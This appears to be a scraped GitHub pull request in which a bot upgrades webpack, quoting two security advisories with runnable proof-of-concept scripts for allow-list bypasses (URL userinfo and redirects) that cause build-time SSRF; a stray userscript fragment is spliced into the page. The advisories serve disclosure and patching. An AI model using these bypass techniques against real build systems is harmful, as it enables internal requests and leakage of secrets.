renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from 780a625 to f2b9bceCompareApril 16, 2026 17:12
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from f2b9bce to 06d0d2aCompareApril 16, 2026 21:24
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from 06d0d2a to 31bab0bCompareApril 21, 2026 21:56
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]Apr 21, 2026
@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from 31bab0b to 90273adCompareApril 22, 2026 03:18
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 22, 2026
@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from 90273ad to fd22a30CompareApril 23, 2026 11:55
Sign up for freeto subscribe to this conversation on GitHub. Already have an account? Sign in.

Reviewers

@sullivanpjsullivanpjAwaiting requested review from sullivanpjsullivanpj is a code owner

At least 1 approving review is required to merge this pull request.

Assignees

No one assigned

Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Add copy buttons to all 
 blocks\n(function() {\n function addCopyButtons() {\n document.querySelectorAll('pre code').forEach(function(codeBlock) {\n if (codeBlock.parentElement.hasAttribute('data-copy-added')) return;\n codeBlock.parentElement.setAttribute('data-copy-added', 'true');\n \n var btn = document.createElement('button');\n btn.textContent = 'Copy';\n btn.style.cssText = 'position:absolute;top:4px;right:4px;padding:2px 8px;font-size:11px;background:#4ecdc4;border:none;border-radius:4px;color:#1a1a2e;cursor:pointer;opacity:0.7;transition:opacity 0.2s;';\n btn.onmouseover = function() { this.style.opacity = '1'; };\n btn.onmouseout = function() { this.style.opacity = '0.7'; };\n btn.onclick = function() {\n navigator.clipboard.writeText(codeBlock.textContent).then(function() {\n btn.textContent = 'Copied!';\n setTimeout(function() { btn.textContent = 'Copy'; }, 1500);\n });\n };\n codeBlock.parentElement.style.position = 'relative';\n codeBlock.parentElement.appendChild(btn);\n });\n }\n \n addCopyButtons();\n \n // Re-run on dynamic content\n var observer = new MutationObserver(addCopyButtons);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Add Copy Buttons to Code Blocks");
}
} catch(__e) { console.warn('[Userscript:Add Copy Buttons to Code Blocks]', __e); }
})();
(function(){
try {
var __m = "github.com";
var __re = new RegExp('^' + "github\\.com" + '

Skip to content
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - #208
Open
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-webpack-vulnerability
Open
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]#208
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-webpack-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Feb 7, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeConfidence
webpack^5.101.3 → ^5.104.1ageconfidence
webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@​) leading to build-time SSRF behavior
CVE-2025-68458 / GHSA-8fgc-7cc6-rx7x
More information
Details
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.
Reproduced on:
  • webpack version: 5.104.0
  • Node version: v18.19.1
Details
Root cause (high level):allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.
Example crafted URL:
  • http://127.0.0.1:9000@127.0.0.1:9100/secret.js
If the allow-list is ["http://127.0.0.1:9000"], then:
  • Raw string check:
    crafted.startsWith("http://127.0.0.1:9000") → true
  • URL parsing (WHAT new URL() will contact):
    origin → http://127.0.0.1:9100 (host/port after @)
As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.
Evidence from reproduction:
  • Server logs showed the internal-only endpoint being fetched:

    • [internal] 200 /secret.js served (...) (observed multiple times)
  • Attacker-side build output showed:

    • the internal secret marker was present in the bundle
    • the internal secret marker was present in the buildHttp cache
image-2
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-userinfo-poc &&cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";consthttp=require("http");constALLOWED_PORT=9000;// allowlisted-looking hostconstINTERNAL_PORT=9100;// actual target if bypass succeedsconstsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`// internal-only\n`+`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionlisten(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// "Allowed" host (should NOT be contacted if bypass works as intended)awaitlisten(ALLOWED_PORT,(req,res)=>{console.log(`[allowed-host] ${req.method}${req.url} (should NOT be hit in userinfo bypass)`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);});// Internal-only service (SSRF-like target)awaitlisten(INTERNAL_PORT,(req,res)=>{if(req.url==="/secret.js"){console.log(`[internal] 200 /secret.js served (secret=${secret})`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);return;}console.log(`[internal] 404 ${req.method}${req.url}`);res.statusCode=404;res.end("not found");});console.log("\nServers up:");console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);})();
2) Create server.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");functionfmtBool(b){returnb ? "✅" : "❌";}asyncfunctionwalk(dir){constout=[];letitems;try{items=awaitfs.readdir(dir,{withFileTypes: true});}catch{returnout;}for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);consts1=buf.toString("utf8");if(s1.includes(needle))returntrue;consts2=buf.toString("latin1");returns2.includes(needle);}catch{returnfalse;}}(async()=>{constwebpackVersion=require("webpack/package.json").version;constALLOWED_PORT=9000;constINTERNAL_PORT=9100;// NOTE: allowlist is intentionally specified without a trailing slash// to demonstrate the risk of raw string prefix checks.constallowedUri=`http://127.0.0.1:${ALLOWED_PORT}`;// Crafted URL using userinfo so that:// - The string begins with allowedUri// - The actual authority (host:port) after '@' is INTERNAL_PORTconstcrafted=`http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;constparsed=newURL(crafted);consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-httpuri-userinfo-poc-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(crafted)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedUri],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};console.log("\n[ENV]");console.log(`- webpack version: ${webpackVersion}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);console.log("\n[CRAFTED URL]");console.log(`- import specifier: ${crafted}`);console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);console.log(`- WHAT URL() parses:`);console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);console.log(` - hostname: ${parsed.hostname}`);console.log(` - port: ${parsed.port}`);console.log(` - origin: ${parsed.origin}`);console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error("\n[WEBPACK ERRORS]");console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constfoundSecret=m ? m[0] : null;console.log("\n[RESULT]");console.log(`- temp dir: ${tmp}`);console.log(`- bundle: ${bundlePath}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log("\n[SECURITY CHECK]");console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);if(foundSecret){constlockHit=awaitfileContains(lockfile,foundSecret);constcacheFiles=awaitwalk(cacheDir);letcacheHit=false;for(constfofcacheFiles){if(awaitfileContains(f,foundSecret)){cacheHit=true;break;}}console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);}}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
4) Run
Terminal A:
node server.js
Terminal B:
node attacker.js
5) Expected vs Actual
Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
Severity
  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence
CVE-2025-68157 / GHSA-38r7-794h-5758
More information
Details
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.
Details
In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.
Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.
image
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-ssrf-poc &&cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";consthttp=require("http");consturl=require("url");constallowedPort=9000;constinternalPort=9100;constinternalUrlDefault=`http://127.0.0.1:${internalPort}/secret.js`;constsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionstart(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// Internal-only service (SSRF target)awaitstart(internalPort,(req,res)=>{if(req.url==="/secret.js"){res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);console.log(`[internal] 200 /secret.js served (secret=${secret})`);return;}res.statusCode=404;res.end("not found");});// Allowed host (redirector)awaitstart(allowedPort,(req,res)=>{constparsed=url.parse(req.url,true);if(parsed.pathname==="/redirect.js"){constto=parsed.query.to||internalUrlDefault;// Safety guard: only allow redirecting to localhost internal service in this PoCif(!to.startsWith(`http://127.0.0.1:${internalPort}/`)){res.statusCode=400;res.end("to must be internal-only in this PoC");console.log(`[allowed] blocked redirect to: ${to}`);return;}res.statusCode=302;res.setHeader("Location",to);res.end("redirecting");console.log(`[allowed] 302 /redirect.js -> ${to}`);return;}res.statusCode=404;res.end("not found");});console.log(`\nServer running:`);console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);})();
3) Create attacker.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");constwebpackPkg=require("webpack/package.json");constallowedPort=9000;constinternalPort=9100;constallowedBase=`http://127.0.0.1:${allowedPort}/`;constinternalTarget=`http://127.0.0.1:${internalPort}/secret.js`;constentryUrl=`${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;asyncfunctionwalk(dir){constout=[];constitems=awaitfs.readdir(dir,{withFileTypes: true});for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);returnbuf.toString("utf8").includes(needle)||buf.toString("latin1").includes(needle);}catch{returnfalse;}}asyncfunctionfindInFiles(files,needle){consthits=[];for(constfoffiles)if(awaitfileContains(f,needle))hits.push(f);returnhits;}constfmtBool=b=>(b ? "✅" : "❌");(async()=>{consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-attacker-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(entryUrl)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedBase],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constsecret=m ? m[0] : null;console.log("\n[ATTACKER RESULT]");console.log(`- webpack version: ${webpackPkg.version}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);console.log(`- imported URL (allowed only): ${entryUrl}`);console.log(`- temp dir: ${tmp}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log(`- bundle: ${bundlePath}`);if(!secret){console.log("\n[SECURITY SUMMARY]");console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);return;}constlockHit=awaitfileContains(lockfile,secret);letcacheFiles=[];try{cacheFiles=awaitwalk(cacheDir);}catch{cacheFiles=[];}constcacheHit=cacheFiles.length ? (awaitfindInFiles(cacheFiles,secret)).length>0 : false;constallTmpFiles=awaitwalk(tmp);constallHits=awaitfindInFiles(allTmpFiles,secret);console.log(`\n- extracted secret marker from bundle: ${secret}`);console.log("\n[SECURITY SUMMARY]");console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);console.log(`- Internal target (SSRF-like): ${internalTarget}`);console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);console.log(`- ACTUAL: internal content treated as module and bundled`);console.log("\n[EVIDENCE CHECKLIST]");console.log(`- bundle contains secret: ${fmtBool(true)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log("\n[PERSISTENCE CHECK] files containing secret");for(constfofallHits.slice(0,30))console.log(`- ${f}`);if(allHits.length>30)console.log(`- ... and ${allHits.length-30} more`);}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
4) Run
Terminal A:
node server.js
Terminal B:
node attacker.js
5) Expected
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
Severity
  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
webpack/webpack (webpack)
v5.104.1
Compare Source
Patch Changes
  • 2efd21b: Reexports runtime calculation should not accessing WEBPACK_IMPORT_KEY decl with var.
  • c510070: Fixed a user information bypass vulnerability in the HttpUriPlugin plugin.
v5.104.0
Compare Source
Minor Changes
  • d3dd841: Use method shorthand to render module content in __webpack_modules__ object.
  • d3dd841: Enhance import.meta.env to support object access.
  • 4baab4e: Optimize dependency sorting in updateParent: sort each module only once by deferring to finishUpdateParent(), and reduce traversal count in sortWithSourceOrder by caching WeakMap values upfront.
  • 04cd530: Handle more at-rules for CSS modules.
  • cafae23: Added options to control the renaming of at-rules and various identifiers in CSS modules.
  • d3dd841: Added base64url, base62, base58, base52, base49, base36, base32 and base25 digests.
  • 5983843: Provide a stable runtime function variable __webpack_global__.
  • d3dd841: Improved localIdentName hashing for CSS.
Patch Changes
  • 22c48fb: Added module existence check for informative error message in development mode.
  • 50689e1: Use the fully qualified class name (or export name) for [fullhash] placeholder in CSS modules.
  • d3dd841: Support universal lazy compilation.
  • d3dd841: Fixed module library export definitions when multiple runtimes.
  • d3dd841: Fixed CSS nesting and CSS custom properties parsing.
  • d3dd841: Don't write fragment from URL to filename and apply fragment to module URL.
  • aab1da9: Fixed bugs for css/global type.
  • d3dd841: Compatibility import.meta.filename and import.meta.dirname with eval devtools.
  • d3dd841: Handle nested __webpack_require__.
  • 728ddb7: The speed of identifier parsing has been improved.
  • 0f8b31b: Improve types.
  • d3dd841: Don't corrupt debugId injection when hidden-source-map is used.
  • 2179fdb: Re-validate HttpUriPlugin redirects against allowedUris, restrict to http(s) and add a conservative redirect limit to prevent SSRF and untrusted content inclusion. Redirects failing policy are rejected before caching/lockfile writes.
  • d3dd841: Serialize HookWebpackError.
  • d3dd841: Added ability to use built-in properties in dotenv and define plugin.
  • 3c4319f: Optimizing the regular expression character class by specifying ranges for runtime code.
  • d3dd841: Reduce collision for local indent name in CSS.
  • d3dd841: Remove CSS link tags when CSS imports are removed.
v5.103.0
Compare Source
Features
  • Added DotenvPlugin and top level dotenv option to enable this plugin
  • Added WebpackManifestPlugin
  • Added support the ignoreList option in devtool plugins
  • Allow to use custom javascript parse function
  • Added import.meta.env support for environment variables
  • Added support for import.meta.dirname and import.meta.filename
  • Added support import.defer() for statistical path
  • Handle import.meta.main
  • Added suport to setup named exports for JSON modules and disable usage named export for import file from "./file.json" with { type: "json" }
  • Added support __dirname/__filename/import.meta.dirname/import.meta.filename for universal target
  • [CSS] Added the exportType option with link (by default), "text" and css-style-sheet values
  • [CSS] Added support for composes properties
Fixes
  • The dependOn chunk must be loaded before the common chunk
  • Return to namespace import when the external request includes a specific export
  • No runtime extra runtime code for module libraries
  • Delay HMR accept dependencies to preserve import attributes
  • Properly handle external presets for universal target
  • Fixed incorrect identifier of import binding for module externals
  • Fixed when defer import and dynamic default export mixed
  • Reduce generated output when globalThis supported
  • Fixed loading async modules in defer import
  • Reexport module for default import when no used exports for systemjs library
  • Rename HarmonyExportDependencyParserPlugin exported id to CompatibilityPlugin tagged id
  • Handle __dirname and __filename for ES modules
  • Rename single nested __webpack_export__ and __webpack_require__ in already bundled code
  • [Types] webpack function type
  • [Types] NormalModule type
  • [Types] Multi compiler configuration type
  • [Types] Fixed regression in custom hashDigest type
  • [CSS] No extra runtime for initial chunk
  • [CSS] Fixed a lot of CSS modules bugs
v5.102.1
Compare Source
Fixes
  • Supported extends with env for browserslist
  • Supported JSONP fragment format for web workers.
  • Fixed dynamic import support in workers using browserslist.
  • Fixed default defer import mangling.
  • Fixed default import of commonjs externals for SystemJS format.
  • Fixed context modules to the same file with different import attributes.
  • Fixed typescript types.
  • Improved import.meta warning messages to be more clear when used directly.
  • [CSS] Fixed CC_UPPER_U parsing (E -> U) in tokenizer.
v5.102.0
Compare Source
Features
  • Added static analyze for dynamic imports
  • Added support for import file from "./file.ext" with { type: "bytes" } to get the content as Uint8Array (look at example)
  • Added support for import file from "./file.ext" with { type: "text" } to get the content as text (look at example)
  • Added the snapshot.contextModule to configure snapshots options for context modules
  • Added the extractSourceMap option to implement the capabilities of loading source maps by comment, you don't need source-map-loader (look at example)
  • The topLevelAwait experiment is now stable (you can remove experiments.topLevelAwait from your webpack.config.js)
  • The layers experiment is now stable (you can remove experiments.layers from your webpack.config.js)
  • Added function matcher support in rule options
Fixes
  • Fixed conflicts caused by multiple concatenate modules
  • Ignore import failure during HMR update with ES modules output
  • Keep render module order consistent
  • Prevent inlining modules that have this exports
  • Removed unused timeout attribute of script tag
  • Supported UMD chunk format to work in web workers
  • Improved CommonJs bundle to ES module library
  • Use es-lexer for mjs files for build dependencies
  • Fixed support __non_webpack_require__ for ES modules
  • Properly handle external modules for CSS
  • AssetsByChunkName included assets from chunk.auxiliaryFiles
  • Use createRequire only when output is ES module and target is node
  • Typescript types
Performance Improvements
  • Avoid extra calls for snapshot
  • A avoid extra jobs for build dependencies
  • Move import attributes to own dependencies
Configuration
📅 Schedule: (in timezone America/New_York)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovate
renovateBot
requested a review
from a teamFebruary 7, 2026 20:44
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Feb 7, 2026
@renovate
renovateBot
requested review from
a team and sullivanpj
as code ownersFebruary 7, 2026 20:44
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Feb 7, 2026
@renovate
renovateBot
enabled auto-merge (squash)
February 7, 2026 20:45
@renovate
renovateBot
commented
Feb 7, 2026

Copy link


Copy Markdown

ContributorAuthor
Branch automerge failure
This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.
@deepsource-io
deepsource-ioBot
commented
Feb 7, 2026•

edited

Loading

Copy link


Copy Markdown

DeepSource Code Review
We reviewed changes in 242a5a8...fa5481a on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
See full review on DeepSource ↗
PR Report Card
Overall GradeSecurity

Reliability

Complexity

Hygiene
Code Review Summary
AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 26, 2026 9:01p.m.Review ↗
ShellMar 26, 2026 9:01p.m.Review ↗
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
5a17899 to
3d46fe8CompareFebruary 12, 2026 11:32
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]Feb 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
3d46fe8 to
ec73d92CompareFebruary 12, 2026 17:18
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
ec73d92 to
2c09d49CompareFebruary 16, 2026 15:16
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 16, 2026
@socket-security
socket-securityBot
commented
Feb 16, 2026•

edited

Loading

Copy link


Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.
DiffPackageSupply Chain
Security		VulnerabilityQualityMaintenanceLicense
Added@​nx/​esbuild@​21.5.31001007199100
Added@​storm-software/​tsdoc@​0.13.1347610010098100
Addeddefu@​6.1.410010010080100
Addeddate-fns@​4.1.0981009280100
Added@​nx/​jest@​21.5.3991009299100
Added@​nx/​devkit@​21.5.3981009399100
Added@​nx/​js@​21.5.3981009399100
Added@​nuxt/​schema@​4.1.29910010094100
Added@​nuxt/​kit@​4.1.29910010094100
View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
2c09d49 to
b2d5813CompareFebruary 16, 2026 19:11
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
b2d5813 to
f8e7705CompareFebruary 17, 2026 16:50
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 17, 2026
@socket-security
socket-securityBot
commented
Feb 17, 2026•

edited

Loading

Copy link


Copy Markdown

Warning
Review the following alerts detected in dependencies.
According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.
ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm buffer is 96.0% likely obfuscated
Confidence: 0.96
Location:Package overview
From:pnpm-lock.yaml → npm/buffer@4.9.2
ℹ Read more on: This package | This alert | What is obfuscated code?
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/buffer@4.9.2. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.

View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
f8e7705 to
a99b711CompareFebruary 17, 2026 23:33
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 17, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
a99b711 to
9de95edCompareFebruary 20, 2026 13:35
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 20, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
9de95ed to
